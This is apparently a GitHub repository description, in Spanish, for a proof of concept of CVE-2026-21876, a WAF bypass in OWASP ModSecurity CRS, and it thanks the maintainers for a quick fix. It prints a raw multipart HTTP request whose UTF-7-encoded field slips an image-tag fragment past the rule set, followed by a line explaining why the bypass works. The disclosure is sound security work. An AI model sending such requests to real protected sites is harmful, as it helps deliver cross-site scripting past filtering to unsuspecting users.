mefhika120/cve-2026-21876PoC mínimo y contenedor Docker que demuestran una evasión de WAF en OWASP ModSecurity CRS mediante el manejo de charset multipart, lo que permite la entrega de payloads XSS.
Contenedor docker de CVE-2026-21876 + PoC mínimo.
Quiero agradecer por separado a @airween y a @fzipi por su rápida respuesta. ¡La corrección de la vulnerabilidad estuvo lista en muy poco tiempo!
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
El valor de username no se comprueba para detectar caracteres que no estén incluidos en la lista blanca, lo que provoca un bypass del WAF.
